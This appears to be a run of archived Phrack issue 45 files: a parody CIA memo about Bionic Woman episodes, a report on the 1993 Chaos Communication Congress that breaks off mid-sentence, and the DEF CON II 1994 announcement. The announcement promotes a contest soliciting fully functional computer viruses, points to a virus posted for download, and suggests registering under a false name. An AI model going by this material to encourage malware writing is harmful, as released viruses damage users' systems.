Central Intelligence Agency Internal Memorandum

PPYRUS SECTION

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

PROJECT DPULTRA OUTLINE (cont'd)

‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑

Aztec Warrior

‑‑‑‑‑ ‑‑‑‑‑‑‑

Investigating an abandoned WW II bunker along the California coast which seems to be emitting powerful radio‑frequencies, Jamie discovers that an ancient Aztec pyramid lies below the bunker's foundation and is now accessible through a hidden tunnel. In the pyramid, Jamie is confronted with an 800‑year‑old Aztec warrior bent on protecting the contents of the pyramid and repelling intruders. In an allusion to CHARIOTS OF THE GODS, extra‑terrestrials are receiving from the pyramid's beacon the electronic version of an invitation to re‑visit the planet. Jamie learns, however, that chemicals seeded into the atmosphere as part of a NASA project to end continental drought will ultimately interfere with the propulsion system of the alien craft. Fearing the accidental destruction of the aliens will bring extra‑terrestrial retaliation, Jamie thwarts the Aztec guard and destroys the beacon.

(4)

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

[CONTINUE] ^M

DL 433‑54‑3958

12/10/73

Central Intelligence Agency Internal Memorandum

PPYRUS SECTION

This memorandum is VIOLET and SENSITIVE; Do not circulate in paper or electronic form outside of your section.

TO: Bill Brown, PP Deputy Chief

FROM: Thomas J. Kelley, Director, PPYRUS Section

SUBJ: DPULTRA

Nearly two years into the project, I congratulate you on DPULTRA's success; the show has consistently rated high in the Nielsens, topping "Starsky & Hutch" and occasionally beating out "M*A*S*H*". However, there seem to be several problems and the show requires a nearly intolerable suspension of disbelief. To wit:

1. Running at 60 mph, why doesn't the Bionic Man's sneakers ever wear out?

2. Steve Austin never received a Bionic heart, spine, respiratory system, musculature or skeleture. How is it that his body doesn't collapse when he lifts objects that weigh tons? 3. Most of Steve's body seems to be metallic; how does he make it past airport metal detectors?

4. How can Steve's Bionics defy principles of physics, like inertia? 5. Steve's Bionic implants are nuclear‑powered ‑‑ an energy source potentially capable of generating more heat than the sun. How can Steve's Bionics slow down and even fail, when exposed to cold? 6. Steve Austin's Bionics cost $6 Million ‑‑ a sum that seems laughably inexpensive. Why is the Bionic Woman's pricetag Classified?

7. How can a world‑famous, instantly recognizable astronaut make a "perfect undercover agent"?

8. A bionic dog? What's next? A bionic earthworm? A bionic tarantula?

9. Jamie Sommers' cover includes continuing her vocation as a substitute teacher; how does she make time to be a secret agent? 10. Where do the Fembots come from? Are they important to the show? 11. Re: The Venus Probe episode ‑‑ why is a probe whose purpose is to collect soil samples, heavily endowed with weapons? How can that probe not realize it's not on Venus? If it's armored enough to withstand the atmosphere of Venus, how was Steve able to destroy it in a pit of acid? Why was it malevolent? Ä–Uj

J /Æ¿=ß®~ _^?Î¾<=Þ¾~|\H

Î¸1rG‑x^PWOV2/ß¹3‑AF".Ht s`m}yN|h .x]i

NO CARRIER

10th Chaos Computer Congress

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 13 of 28

****************************************

The 10th Chaos Computer Congress

by Manny E. Farber

Armed only with an invitation in English addressed to the "global community" and a small pile of German Marks, I arrived at the Eidelstedter Buergerhaus about an hour or so before the beginning of the 10th Chaos Communication Congress (subtitled "Ten years after Orwell"), sponsored by the (in)famous Chaos Computer Club. The Buergerhaus (literally, "citizen's house") turned out to be a modest community hall; needless to say, not all invited showed up. The Congress took place between the 27th and the 29th of December. As the title implies, social as well as technical issues were on the docket.

After forking over 30 DM (about $20) for a pass for the first two days of the Congress, I sort of felt like asking for a schedule, but refrained, thinking that asking for scheduled chaos might seem a bit odd. I went to the cafeteria for breakfast. An organizer started out announcing, "Anyone who wants to eat breakfast pays 5 Marks, and gets a stamp, which‑‑no, rather, anyone who wants breakfast pays 5 Marks and eats breakfast."

The atmosphere was quite collegial and informal, with little more order than was absolutely necessary. The approximately 150 attendees were predominantly German (a few from Switzerland and Holland, at least ‑‑ and probably only ‑‑ one from the United States, namely myself), male, and technically oriented. (During an explanation of the mathematical algorithm underlying electronic cash, a non‑techie objected, "But I don't want to have to think up a 200‑digit random number every time I buy something!" It was explained to him that this was done by software in the chip‑card ...).

Although not mentioned in the invitation, not a word of English was to be heard; all the events were conducted in German. Some were conducted in a "talk show" format, with a host asking questions, simplifying answers, making jokes. A television network carried the video from the auditorium to other rooms throughout the building (albeit without sound) along with up‑to‑the‑minute event schedules.

The tone of the discussions of how electronic cash could be embezzled, or chip cards abused, digital signatures forged, etc., was constructive rather than destructive. And it was balanced, i.e. not only "how could a malicious individual embezzle money?" was discussed, but also "how could the government use chip cards to reduce people's privacy?" Here, the "hackers" were hackers in the positive sense of understanding a technology, not in the negative sense of wreaking havoc. It was, however, noted that trying out a potential weakness of the "EuroScheck" cash cards was quite easy: it would require buying a card reader for 1,500 DM and maybe a week of time.

The question of technical solutions to "big brother" did come up in the presentations about chip cards. The danger is that a pile of cards is eliminated in favor of a card containing someone's driver's license, driving record (maybe), employee information, credit information, etc. etc. A chip card could theoretically be programed to give out *only* the information absolutely necessary, e.g. telling a policeman only that someone is allowed to drive, without disclosing his identity.

The "Hackzentrum" (Hacking Center) turned out to be a room filled with networked computers and people hacking on them. It seemed mostly harmless. (I nevertheless did not try a remote login ‑‑ I had no reason to doubt good intentions, but on the other hand, who knows who wrote or replaced the keyboard driver and what sort of supplemental functionality it might have?) The packet radio room had a "Digi" repeating station and, true to the ham radio tradition, where the conversation centers on who is talking to whom and how well they hear each other and on what other frequency they might hear each other better, the computers attached were mostly displaying maps of the packet radio network itself. I didn't delve very deeply into the "Chaos Archive," but noticed a collection of maintenance sheets for telephone equipment among CCC newsletters and other paraphenalia.

Some "signs of the Congress":

‑ Bumper sticker: "I (heart) your computer"

‑ Telephone stickers: "Achtung, Abhoergefahr" ("Attention, Eavesdropping danger"; and the German PTT logo transformed into a pirate insignia, with the words "Telefun ‑ Mobilpunk" (derived from "Telefon ‑ Mobilfunk")

‑ T‑shirt: "Watching them (eye‑ball) watching us"

‑ Post‑It Note pad (for sale for DM 1.50): a pad of about 50, pre‑printed with a hand‑written note: "Vorsicht, Stoerung. Automat macht Karte ungueltig" ("Careful‑‑Defect. Machine makes card invalid")

‑ Word coinage: "Gopher‑space"

‑ Stamp: "ORIGINALE KOPIE" ("ORIGINAL COPY")

The press were told not to take pictures of anyone without their explicit permission.

Schedules were distributed throughout the Congress. By the evening of the 27th, a schedule for the 28th, "Fahrplan 28.12 Version 2.0," was already available ("Fahrplan" means a bus/train schedule; this is presumably an "in" joke). By 17:30 on the 28th, "Fahrplan 28.12 Version 2.7" was being distributed. (I missed most of the intervening versions; presumably they were neatly filed away in the Chaos Archive by then ...)

The scheduled events (in translation) were as follows; a "*" means that I have included some comments later in this report:

December 27, 1993

‑ Welcoming/opening

‑ How does a computer work?

‑ ISDN: Everything over one network

‑ Internet and multimedia applications: MIME/Mosaik/Gopher

‑ Data transport for beginners

‑ Chip‑cards: Technology

* Media and information structures: How much truth remains? Direct democracy: information needs of the citizen

‑ Encryption for beginners, the practical application of PGP

* Alternative networks: ZAMIRNET, APS+Hacktic, Green‑Net, Knoopunt, Z‑Netz and CL

December 28, 1993

‑ Encryption: Principles, Systems, and Visions

‑ Modacom "wireless modem"

‑ Electronic Cash

‑ Bulletin board protocols: Functional comparison and social form, with the example of citizen participation

‑ Discussion with journalist Eva Weber

‑ Net groups for students, Jan Ulbrich, DFN

* What's left after the eavesdropping attack? Forbidding encryption? Panel: Mitglied des Bundestags (Member of Parliament) Peter Paterna, Datenschutz Beauftragter Hamburg (Data privacy official) Peter Schar, a journalist from Die Zeit, a representative from the German PTT, a student writing a book about related issues, and a few members of the Chaos Computer Club

‑ Cyber Bla: Info‑cram

* How does an intelligence service work? Training videos from the "Stasi" Ministrium fuer STAatsSIcherheit (Ministry for National Security) ‑ System theory and Info‑policies with Thomas Barth

‑ Science Fiction video session: Krieg der Eispiraten

("War of the ice pirates")

December 29, 1993

‑ Thoughts about organization ("Urheben")

‑ Computer recycling

‑ Dumbness in the nets: Electronic warfare

‑ Lockpicking: About opening locks

‑ The Arbeitsgemeinschaft freier Mailboxen introduces itself

‑ In year 10 after Orwell ... Visions of the hacker scene

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

THE EAVESDROPING ATTACK

This has to do with a proposed law making its way through the German Parliament. The invitation describes this as "a proposed law reform allowing state authorities to listen in, even in private rooms, in order to fight organized crime." This session was the centerpiece of the Congress. Bayerische Rundfunk, the Bavarian sender, sent a reporter (or at least a big microphone with their logo on it). The panel consisted of:

MdB ‑ Mitglied des Bundestags (Member of Parliament) Peter Paterna DsB ‑ Datenschutz Beauftragter Hamburg (Data privacy official) Peter Schar Journalist ‑ from Die Zeit

PTT ‑ a representative from the German PTT

Student ‑ writing a book about related issues

CCC ‑ a few members of the Chaos Computer Club

My notes are significantly less than a word‑for‑word transcript. In the following, I have not only excerpted and translated, but reorganized comments to make the threads easier to follow.

IS IT JUSTIFIED?

MdB ‑ There is massive concern ("Beunruhigung") in Germany: 7 million crimes last year. Using the US as comparison for effectiveness of eavesdroping, it's only applicable in about 10‑20 cases: this has nothing to do with the 7 million. The congress is nevertheless reacting to the 7 million, not to the specifics. In principle, I am opposed and have concerns about opening a Pandora's box.

CCC #1 ‑ The 7 million crimes does not surprise me in the least. I am convinced that there is a clear relationship between the number of laws and the number of crimes. When you make more laws, you have more crimes. Every second action in this country is illegal.

Journalist ‑ Laws/crimes correlation is an over‑simplification. There are more murders, even though there are no more laws against it.

MdB ‑ There is a conflict between internal security, protecting the constitution, and civil rights. How dangerous is 6 billion Marks of washed drug money to the nation? Taking the US as an example, the corrosion may have gone so far that it's too late to undo it. I hope that this point hasn't been reached yet in Germany.

DsB ‑ I am worried about a slippery slope. There is a tradeoff between freedom and security, and this is the wrong place to make it; other more effective measures aren't being taken up.

EFFECTIVENESS OF CONTROLS ON EAVESDROPING

MdB ‑ Supposedly federal controls are effective. Although there are very few eavesdroping cases, even if you look at those that are court‑approved, it's increasing exponentially. No proper brakes are built into the system. As for controls for eavesdroping by the intelligence service, there is a committee of three members of parliament, to whom all cases must be presented. They have final say, and I know one of the three, and have relatively much trust in him. They are also allowed to go into any PTT facility anytime, unannounced, to see whether or not something is being tapped or not.

MdB ‑ Policies for eavesdroping: if no trace of an applicable conversation is heard within the first "n" minutes, they must terminate the eavesdroping [...] The question is, at which point the most effective brakes and regulations should be applied: in the constitution? in the practice?

PTT ‑ True, but often the actual words spoken is not important, rather who spoke with whom, and when.

DsB ‑ There is no catalog for crimes, saying what measures can be applied in investigating which crimes. It's quite possible to use them for simple crimes, e.g. speeding. There is no law saying that the PTT *has to* store data; they *may*. They can choose technical and organizational solutions that don't require it.

MdB ‑ This is a valid point, I don't waive responsibility for such details. The PTT could be required to wipe out detailed information as soon as it is no longer needed, e.g. after the customer has been billed for a call.

TECHNICAL TRENDS

Journalist ‑ Digital network techniques make it easy to keep trails, and there is an electronic trail produced as waste product, which can be used for billing as well as for other purposes. Load measurements are allowable, but it can also be used for tracking movements.

DsB ‑ The PTT claims they need detailed network data to better plan the network. The government says they need details in order to be able to govern us better.

DsB ‑ In the past, the trend has always been to increasingly identificable phone cards. There is economic pressure on the customer to use a billing card instead of a cash card, since a telephone unit costs less. With "picocells," your movement profile is getting more and more visible.

PTT ‑ As for the trend towards less‑anonymous billing‑cards: with the new ISDN networks, this is necessary. Billing is a major cost, and this is just a technical priority.

Student ‑ As for techniques to reduce potential for eavesdroping, it is for example technically possible to address a mobile phone without the network operator needing to know its position. Why aren't such things being pursued?

PTT ‑ UMTS is quite preliminary and not necessarily economically feasible. [Comments about debit cards]. We have more interest in customer trust than anything else. But when something is according to the law, we have no option other than to carry it out. But we don't do it gladly.

THE BIG CONSPIRACY?

CCC #2 ‑ I don't give a shit about these phone conversations being overheard. I want to know why there is such a big controversy. Who wants what? Why is this so important? Why so much effort? Why are so many Mafia films being shown on TV when the eavesdroping law is being discussed? What's up? Why, and who are the people?

Student ‑ I am writing a book about this, and I haven't figured this out myself. My best theory: there are some politicians who have lost their detailed outlook ("Feinbild"), and they should be done away with ("abgeschaffen").

PTT ‑ We're in a difficult position, with immense investments needed to be able to overhear phone conversations [in digital networks (?)]. We have no interest in a cover‑up.

MdB ‑ As for the earlier question about what NATO countries may do. During the occupation of Berlin, they did want they wanted on the networks. In western Germany, it has always been debated. Funny business has never been proved, nor has suspicion been cleared up.

CCC #2 ‑ After further thought, I have another theory. American companies are interested in spying on German companies in order to get a jump on their product offerings.

MdB ‑ That's clear, but there are more benign explanations. Government offices tend towards creating work. Individuals are promoted if their offices expand, and they look for new fields to be busy in. In Bonn, we've gone from 4,000 people to 24,000 since the 50's.

CCC #1 (to MdB) ‑ Honestly, I don't see why you people in Bonn are anything other than one of these impenetrable bureaucracies like you described, inaccessible, out of touch with reality, and interested only in justifying their own existence.

MdB ‑ Well, *my* federal government isn't that.

CLIPPER CHIP CONTROVERSY

Student ‑ Observation/concern: in the US, AT&T's encryption system is cheap and weak. If this becomes a de facto standard, it is much harder to introduce a better one later.

Journalist ‑ In the US, the Clipper chip controversy has centered more on the lost business opportunities for encryption technology, not on principles. There every suggestion for forbidding encryption has encountered stiff opposition.

Student ‑ As for the Clipper algorithm, it's quite easy to invite three experts to cursorily examine an algorithm (they weren't allowed to take documents home to study it) and then sign‑off that they have no complaints.

Journalist ‑ As for the cursory rubber‑stamping by the three experts who certified the Clipper algorithm, my information is that they had multiple days of computing days on a supercomputer available. I don't see a problem with the algorithm. The problem lies in the "trust centers" that manage the keys. I personally don't see why the whole question of cryptology is at all open ("zugaenglich") for the government.

CONCLUDING REMARKS

DsB ‑ The question is not only whether or not politicians are separated from what the citizens want, but also of what the citizens want. Germans have a tendency to valuing security. Different tradition in the US, and less eavesdroping. I can imagine how the basic law ("Grundgesetz") could be eliminated in favor of regulations designed to reduce eavesdroping, the trade‑off you (MdB) mentioned earlier. The headlines would look like "fewer cases of eavesdroping", "checks built in to the system," etc., everyone would be happy, and then once the law has been abolished, it would creep back up, and then there's no limit.

MdB ‑ (Nods agreement)

CCC #2 ‑ There are things that must be administered centrally (like the PTT), and the government is the natural choice, but I suggest that we don't speak of the "government," but rather of "coordination." This reduces the perceived "required power" aspect ... As a closing remark, I would like to suggest that we take a broader perspective, assume that a person may commit e.g. 5,000 DM more of theft in his lifetime, live with that, and save e.g. 100,000 DM in taxes trying to prevent this degree of theft.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MEDIA AND INFORMATION STRUCTURES

In this session, a lot of time was wasted in pointless philosophical discussion of what is meant by Truth, although once this topic was forcefully ignored, some interesting points came up (I don't necessarily agree or disagree with these):

‑ In electronic media, the receiver has more responsibility for judging truth placed on his shoulders. He can no longer assume that the sender is accountable. With "Network Trust," you would know someone who knows what's worthwhile, rather than filtering the deluge yourself. A primitive form of this already exists in the form of Usenet "kill" files.

‑ A large portion of Usenet blather is due to people who just got their accounts cross‑posting to the entire world. The actual posting is not the problem, rather that others follow it up with a few dozen messages debating whether or not it's really mis‑posted, or argue that they should stop discussing it, etc. People are beginning to learn however, and the ripple effect is diminishing.

‑ Companies such as Microsoft are afraid of the Internet, because its distributed form of software development means they are no longer the only ones able to marshal 100 or 1,000 people for a windowing system like X‑Windows or Microsoft Windows.

‑ If someone is trying to be nasty and knows what he's doing, a Usenet posting can be made to cost $500,000 in network bandwidth, disk space, etc.

‑ At a Dutch university, about 50% of the network bandwidth could have been saved if copies of Playboy were placed in the terminal rooms. Such technical refinements as Gopher caching daemons pale in comparison.

‑ All e‑mail into or out of China goes through one node. Suspicious, isn't it?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ALTERNATIVE NETWORKS

Several people reported about computer networks they set up and are operating. A sampling:

APS+Hacktic ‑ Rop Gonggrijp reported about networking services for the masses, namely Unix and Internet for about $15 per month, in Holland. There are currently 1,000 subscribers, and the funding is sufficient to break even and to expand to keep up with exponential demand.

A German reported about efforts to provide e‑mail to regions of ex‑Yugoslavia that are severed from one another, either due to destroyed telephone lines or to phone lines being shut off by the government. A foundation provided them with the funds to use London (later Vienna), which is reachable from both regions, as a common node.

The original author of the Zerberus mail system used on many private German networks complained about the degree of meta‑discussion and how his program was being used for people to complain about who is paying what for networking services and so forth. He said he did not create it for such non‑substantial blather. The difference between now and several years ago is that now there are networks that work, technically, and the problem is how to use them in a worthwhile manner.

A German of Turkish origin is trying to allow Turks in Turkey to participate in relevant discussions on German networks (in German) and is providing translating services (if I heard right, some of this was being done in Sweden). This killed the rest of the session, which degenerated into a discussion of which languages were/are/should be used on which networks.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HOW AN INTELLIGENCE SERVICE WORKS: STASI TRAINING VIDEOS

The person introducing the videos sat on the stage, the room darkened. The camera blotted out his upper body and face; all that was to see on the video, projected behind him, was a pair of hands moving around.

It apparently didn't take much to earn a file in the Stasi archives. And once you were in there, the "10 W's: Wo/wann/warum/mit wem/..." ("where/when/why/with whom/...") ensured that the file, as well as those of your acquaintances, grew.

The videos reported the following "case studies":

‑ The tale of "Eva," whose materialistic lifestyle, contacts with Western capitalists, and "Abenteuerromantik" tendencies made her a clear danger to the state, as well as a valuable operative. She swore allegiance to the Stasi and was recruited. Eventually the good working relationship deteriorated, and the Stasi had to prevent her from trying to escape to the West. The video showed how the different parts of the intelligence service worked together.

‑ A member of the military made a call to the consulate of West Germany in Hungary. The list of 10,000 possible travellers to Hungary in the relevant time frame was narrowed down to 6,000 on the basis of a determination of age and accent from the recorded conversation, then down to 80 by who would have any secrets to sell, then down to three (by hunch? I don't remember now).

One video showed how a subversive was discreetly arrested. Cameras throughout the city were used to track his movements. When he arrived at his home, a few workers were "fixing" the door, which they claimed couldn't be opened at the moment. They walked him over to the next building to show him the entrance, and arrested him there. A dinky little East German car comes up, six people pile into it. Two

Defcon II information

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 14 of 28

****************************************

Updated Last : 3.14.1994

Late Night Hack Announcement #4.2

XXXXXXXXXXXXXXXXXXXXXXXX XX DEF CON II Convention Update Announcement XXXXXXXxxxxXXXXXXXXXXXXXXX XX DEF CON II Convention Update Announcement XXXXXXxxxxxxXXXXXX X X DEF CON II Convention Update Announcement XXXXXxxxxxxxxXXXXXXX X DEF CON II Convention Update Announcement XXXXxxxxxxxxxxXXXX XXXXXXXXX DEF CON II Convention Update Announcement XXXxxxxxxxxxxxxXXXXXXXXXX X DEF CON II Convention Update Announcement XXxxxxxxxxxxxxxxXXXXXX XX X DEF CON II Convention Update Announcement XXXxxxxxxxxxxxxXXXXXXXX DEF CON II Convention Update Announcement XXXXxxxxxxxxxxXXXXXXXX X XX DEF CON II Convention Update Announcement XXXXXxxxxxxxxXXXXXXXXXX XX X DEF CON II Convention Update Announcement XXXXXXxxxxxxXXXXXXXXX X DEF CON II Convention Update Announcement XXXXXXXxxxxXXXXXXXXXXXXXXX DEF CON II Convention Update Announcement XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX DEF CON II Convention Update Announcement

READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE

========================================

What's this? This is an updated announcement and invitation to DEF CON II, a convention for the "underground" elements of the computer culture. We try to target the (Fill in your favorite word here): Hackers, Phreaks, Hammies, Virii Coders, Programmers, Crackers, Cyberpunk Wannabees, Civil Liberties Groups, CypherPunks, Futurists, Artists, Etc..

WHO: You know who you are, you shady characters.

WHAT: A convention for you to meet, party, and listen to some speeches that you would normally never hear.

WHEN: July 22, 23, 24 ‑ 1994 (Speaking on the 23rd and 24th) WHERE: Las Vegas, Nevada @ The Sahara Hotel

So you heard about DEF CON I, and want to hit part II? You heard about the parties, the info discussed, the bizarre atmosphere of Las Vegas and want to check it out in person? Load up your laptop muffy, we're heading to Vegas!

Here is what Three out of Three people said about last years convention:

"DEF CON I, last week in Las Vegas, was both the strangest and the best computer event I have attended in years." ‑‑ Robert X. Cringely, Info World

"Toto, I don't think we're at COMDEX anymore." ‑‑ CodeRipper, Gray Areas

"Soon we were at the hotel going through the spoils: fax sheets, catalogs, bits of torn paper, a few McDonald's Dino‑Meals and lots of coffee grounds. The documents disappeared in seconds." ‑‑ Gillian Newson, New Media Magazine

DESCRIPTION:

Last year we held DEF CON I, which went over great, and this year we are planning on being bigger and better. We have expanded the number of speakers to included midnight tech talks and additional speaking on Sunday. We attempt to bring the underground into contact with "legitimate" speakers. Sure it's great to meet and party with fellow hackers, but besides that we try to provide information and speakers in a forum that can't be found at other conferences.

While there is an initial concern that this is just another excuse for the evil hackers to party and wreak havoc, it's just not the case. People come to DEF CON for information and for making contacts. We strive to distinguish this convention from others in that respect.

WHAT'S NEW THIS YEAR:

This year will be much larger and more organized (hopefully) than last year. We have a much larger meeting area, and have better name recognition. Because of this we will have more speakers on broader topics. Expect speaking to run Saturday and Sunday, ending around 5 p.m. Some of the new things expected include:

> An Internet connection with sixteen ports will be there, _BUT_ will only provide serial connections because terminals are too hard to ship. So bring a laptop with communications software if you want to connect to the network. Thanks to cyberlink communications for the connection.

> There will be door prizes, and someone has already donated a Cell Phone and a few "Forbidden Subjects" cd ROMs to give away, thanks to Dead Addict.

> Dr. Ludwig will present his virus creation awards on Sunday.

> A bigger and better "Spot The Fed" contest, which means more shirts to give away.

> More room, we should have tables set up for information distribution. If you have anything you want distributed, feel free to leave it on the designated tables. Yes, this year there will be a true 24 hour convention space.

> A 24 hour movie / video suite where we will be playing all type of stuff. VHS Format. Mail me with suggested titles to show, or bring your own. We'll use a wall projector when not in use by speakers.

> Midnight Tech Talks on Friday and Saturday night to cover the more technical topics and leave the days free for more general discussions.

WHO IS SPEAKING:=======================================

This list represents almost all of the speakers verified to date. Some people do not want to be announced until the event for various reasons, or are waiting for approval from employers. A speaking schedule will go out in the next announcement.

Philip Zimmerman, Notorious Cryptographer & Author of PGP.

Dr. Ludwig, Author of "The Little Black Book of Computer Viruses," and "Computer Viruses, Artificial Life and Evolution"

Loyd Blankenship (The Mentor), Net Running in the 90's and RPG.

Padgett Peterson, Computer Enthusiast, Anti‑Virus Programmer.

The Jackal, A Radio Communications Overview, Digital Radio and the Hack Angle.

Judi Clark, Computer Professionals for Social Responsibility.

Gail Thackery, (Of Operation Sun Devil Fame), Topic to be Announced.

To be Announced, The Software Publishers Association, Topic to be Announced.

Toni Aimes, Ex U.S. West Cellular Fraud, Cellular Fraud Topics.

Mark Lotter, Cellular Enthusiast, Hacking Cell Phones.

Lorax, The Lighter Side of VMBs.

Peter Shipley, Unix Stud, Q&A on Unix Security.

George Smith, Crypt Newsletter, Virus Topic to be Announced.

Cathy Compton, Attorney, Q&A Surrounding Seizure Issues, Etc.

John Littman, Reporter and Author, Kevin Poulson, Mitnick, and Agent Steal.

Red Five & Hellbender, Madmen With a Camcorder, Who Knows?

Erik Bloodaxe, Phrack Editor, Wierd Wireless Psycho Shit.. Stay Tuned..

There should be a few round table discussions on Virus, Cellular, Unix and something else surrounding the industry.

I'll name the rest of the speakers as they confirm. I'm still working on a few (Two?) people and groups, so hopefully things will work out and I can pass the good news on in the next announcement, or over our List Server.

========================================

WHERE THIS THING IS:

It's in Las Vegas, the town that never sleeps. Really. There are no clocks anywhere in an attempt to lull you into believing the day never ends. Talk about virtual reality, this place fits the bill with no clunky hardware. If you have a buzz you may never know the difference. It will be at the Sahara Hotel. Intel is as follows:

The Sahara Hotel: 1.800.634.6078

Room Rates: Single/Double $55, Triple $65, Suite $120 (Usually $200) + 8% tax

Transportation: Shuttles from the airport for cheap.

NOTE: Please make it clear you are registering for the DEF CON II convention to get the room rates. Our convention space price is based on how many people register. Register under a false name if it makes you feel better, 'cuz the more that register the better for my pocket book. No one under 21 can rent a room by themselves, so get your buddy who is 21 to rent for you and crash out. Try to contact people on the Interactive Mailing List (More on that below) and hook up with people. Don't let the hotel people get their hands on your baggage, or there is a mandatory $3 group baggage fee. Vegas has killer unions.

OTHER STUFF:

I'll whip up a list of stuff that's cool to check out in town there so if for some reason you leave the awesome conference you can take in some unreal sites in the city of true capitalism. If anyone lives in Las Vegas, I would appreciate it if you could send a list of some cool places to check out or where to go to see the best shows and I'll post it in the next announcement or in the program

‑> I am asking for people to submit to me any artwork, pictures, drawings, logos, etc. that they want me to try and include in this years program. I am trying to not violate any copyright laws, but want cool shit. Send me your art or whatever and I'll try and use it in the program, giving you credit for the work, of course. Please send it in .TIF format if it has more than eight bit color. The program will be eight bit black and white, ‑> in case you want to make adjustments on your side.

PLEASE DONATE "STUFF" FOR THE GIVEAWAY:

We are trying to raffle off interesting and old functional items. If you have anything such as old computers, modems, weird radio stuff, books, magazines, etc that you want to get rid of, please call or mail me with what it is, or bring it along. I don't want to waste peoples time giving away rubber bands or anything, but pretty much anything else will go.

*** NEW MAILING LIST SERVER ***

We've finally gotten Major Domo List Serv software working (Kinda) and it is now ready for testing. MTV spent a lot of time hacking this thing to work with BSDi, and I would like to thank him. The purpose of the list is to allow people interested in DEF CON II to chat with one another. It would be very useful for people over 21 who want to rent hotel space, but split costs with others. Just mention you have room for 'x' number of people, and I'm sure you'll get a response from someone wanting to split costs. Someone also suggested that people could organize a massive car caravan from Southern Ca. to the Con. My attitude is that the list is what you make of it. Here are the specifics:

Umm.. I TAKE THAT BACK!! The mailing list is _NOT_ ready yet. Due to technical problems, etc. I'll do another mass mailing to everyone letting them know that the list is up and how to access it. Sorry for the delay!

MEDIA:

Some of the places you can look for information from last year include:

New Media Magazine, September 1993

InfoWorld, 7‑12‑1993 and also 7‑19‑1993 by Robert X. Cringely Gray Areas Magazine, Vol 2, #3 (Fall 1993)

Unix World, ???,

Phrack #44, #45

COST:

Cost is whatever you pay for a hotel room split however many ways, plus $15 if you preregister, or $30 at the door. This gets you a nifty 24 bit color name tag (We're gonna make it niftier this year) and your foot in the door. There are fast food places all over, and there is alcohol all over the place but the trick is to get it during a happy hour for maximum cheapness.

========================================

I wanted to thank whoever sent in the anonymous fax to Wired that was printed in issue 1.5 Cool deal!

========================================

FOR MORE INFORMATION:

For InterNet users, there is a DEF CON anonymous ftp site at cyberspace.com in /pub/defcon. There are digitized pictures, digitized speeches and text files with the latest up to date info available.

For email users, you can email dtangent@defcon.org for more information.

For non‑net people call:

‑‑‑‑ A L L I A N C E ‑‑‑SysOp Metalhead

One Thousand One Hundred Megabytes Online 612.251.8596 USRobotics 16.8 Dual Standard Synchronet Multinode BBS Software International Informational Retrieval Guild (IIRG) Distro Site Electronic Frontier Foundation (EFF) MEMBER American Bulletin Board Association (ABBA) MEMBER

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

o 200+ Message bases. No post call ratio. Nope, not ever.

o FidoNet [1:282/8004]

o CyberCrime international [69:4612/2]

o International Networked message ECHO areas:

UFO, VIRUS, REPTILE, MUSIC, Twin Cities Chat, NORML, Telephone Watch, TRADEWARS, MONTE PYTHON, FCC, NO PIRACY, CLASSIFIEDS

BBS Software & SYSOP Support, MUSIC, FISHING/HUNTING, Stephen King, Programming, Computers, Foreign Language, iCE/ACiD/TRiBE, COLLEGE LIVING, POLITICS, POETRY, RACISM, and too many more to mention o Computer Underground Magazines, History, Updates & Text

o DEF CON Mirrior Archive

o uXu, PHANTASY, CuD, EFF Magazine(s) Distro Site

o Internet email mailbox (your.name.here@f8004.n282.z1.fidonet.org) o 30 day FULL ACCESS Trial Account...$10/year MEMBERship (sub. to change)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For Snail Mail send to: DEF CON, 2709 E. Madison Street Suite #102, Seattle, WA, 98112

For Voice Mail and maybe a human (me), 0‑700‑TANGENT on an AT&T phone.

A DEF CON Mailing list is maintained, and the latest announcements are mailed automatically to you. If you wish to be added to the list just send email to dtangent@defcon.org.

========================================

(Note, I have put a copy of Dr. Ludwig's new KOH Data security encryption Virus online at the DEF CON ftp site in /pub/defcon/KOH along with full documentation. Get CrAzY.)

VIRUS CREATION AWARDS:

Announcing

The

Second International Virus Writing Contest

Sponsored by

American Eagle Publications, Inc. P.O. Box 41401 Tucson, AZ 85717 USA

and

The Crypt Infosystems BBS

+1 (818) 683‑0854

*** The Goal ***

The purpose of this contest is to write a fully functional computer virus that entertains people with political satire. Viruses will be judged on the basis of originality, creativity, functionality, and political incorrectness.

*** Eligibility ***

Anyone who can write a computer virus is eligible.

*** Contest Dates ***

The contest is underway from January 1, 1994 until June 30, 1994. Your submissions must be received by June 30 to qualify. The winner of the contest will be announced at the DEFCON conference in Las Vegas, July 22‑24, 1994. If you can be present, an official award will be bestowed on you at that time.

*******************************

Details

*******************************

The philosopher Friedrik Nietzsche once said that if you want to kill something, you must laugh at it‑‑and laugh at it deeply. So there should be little wonder that political satire is as old as politics itself.

Is there something going on in the political arena that you abhor, that makes you sick, that is just plain wrong? Well, here's your chance to make a mockery of it. I've always had this idea that if someone wrote a sufficiently witty virus that really addressed the issues the way the people (not the press, not the politicians) saw them, it might just get passed around by people voluntarily.

Let's find out.

Write a virus that is itself a political satire. I don't mean a virus that simply displays a message. I mean a living entity whose every move‑‑whose every action‑‑is politically motivated. If you need more than one virus to make your point‑‑perhaps two viruses working together, or something like that, that is fine.

